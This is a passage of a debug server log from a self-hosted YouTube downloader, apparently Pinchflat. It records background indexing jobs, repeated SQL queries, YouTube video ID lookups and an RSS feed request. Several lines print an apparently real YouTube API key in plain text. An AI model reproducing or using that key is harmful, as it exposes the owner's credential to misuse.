("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268495, 26, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.527 [info] {"args":{"id":26},"id":5268455,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":262758,"event":"job:stop","queue_time":766425,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.533 [info] {"args":{"id":8},"id":5268457,"meta":{},"system_time":1791585323533232118,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.533 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:35:23.533 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.533 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.534 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.534 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:35:23.534 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.534 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.695 [debug] QUERY OK source="media_items" db=0.6ms idle=161.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:35:23.696 [debug] QUERY OK source="media_items" db=0.2ms idle=162.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:35:23.697 [debug] QUERY OK source="tasks" db=0.1ms idle=162.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268496, 30, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.697 [info] {"args":{"id":30},"id":5268456,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":308850,"event":"job:stop","queue_time":744231,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.811 [info] GET /sources/395dfb31-2159-4757-8e0b-5d8c56c599d3/feed.xml 17:35:23.811 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "395dfb31-2159-4757-8e0b-5d8c56c599d3"} Pipelines: [:maybe_basic_auth] 17:35:23.812 [debug] QUERY OK source="sources" db=0.2ms idle=115.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["395dfb31-2159-4757-8e0b-5d8c56c599d3"] 17:35:23.814 [debug] QUERY OK source="media_items" db=1.5ms idle=115.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [4, 2000] 17:35:23.818 [debug] QUERY OK source="source_metadata" db=0.1ms idle=120.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [4] 17:35:23.818 [debug] QUERY OK source="media_metadata" db=0.0ms idle=120.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577495] 17:35:23.818 [info] Sent 200 in 6ms 17:35:23.868 [debug] QUERY OK source="media_items" db=0.9ms idle=164.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:35:23.869 [debug] QUERY OK source="media_items" db=0.4ms idle=56.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:35:23.870 [debug] QUERY OK source="tasks" db=0.1ms idle=51.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268497, 8, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.870 [info] {"args":{"id":8},"id":5268457,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":336874,"event":"job:stop","queue_time":678357,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.963 [info] {"args":{"id":34},"id":5268458,"meta":{},"system_time":1791585323963229703,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.963 [info] {"args":{"id":33},"id":5268459,"meta":{},"system_time":1791585323963268185,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.963 [debug] QUERY OK source="sources" db=0.2ms idle=93.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:35:23.963 [debug] QUERY OK source="sources" db=0.2ms idle=93.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:35:23.963 [debug] QUERY OK source="settings" db=0.1ms idle=87.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.963 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.964 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.964 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.964 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.964 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:35:23.964 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.964 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:35:23.964 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.964 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.964 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.964 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:24.169 [debug] QUERY OK source="media_items" db=0.7ms idle=204.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:35:24.170 [debug] QUERY OK source="media_items" db=1.0ms idle=205.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:35:24.171 [debug] QUERY OK source="tasks" db=0.1ms idle=206.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268498, 34, ~U[2026-10-09 22:35:24Z], ~U[2026-10-09 22:35:24Z]] 17:35:24.171 [info] {"args":{"id":34},"id":5268458,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208450,"event":"job:stop","queue_time":840305,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.178 [info] {"args":{"id":39},"id":5268460,"meta":{},"system_time":1791585324178286950,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:24.178 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:35:24.178 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.178 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:24.179 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.179 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:35:24.179 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:24.179 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:24.427 [debug] QUERY OK source="media_items" db=0.6ms idle=248.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", 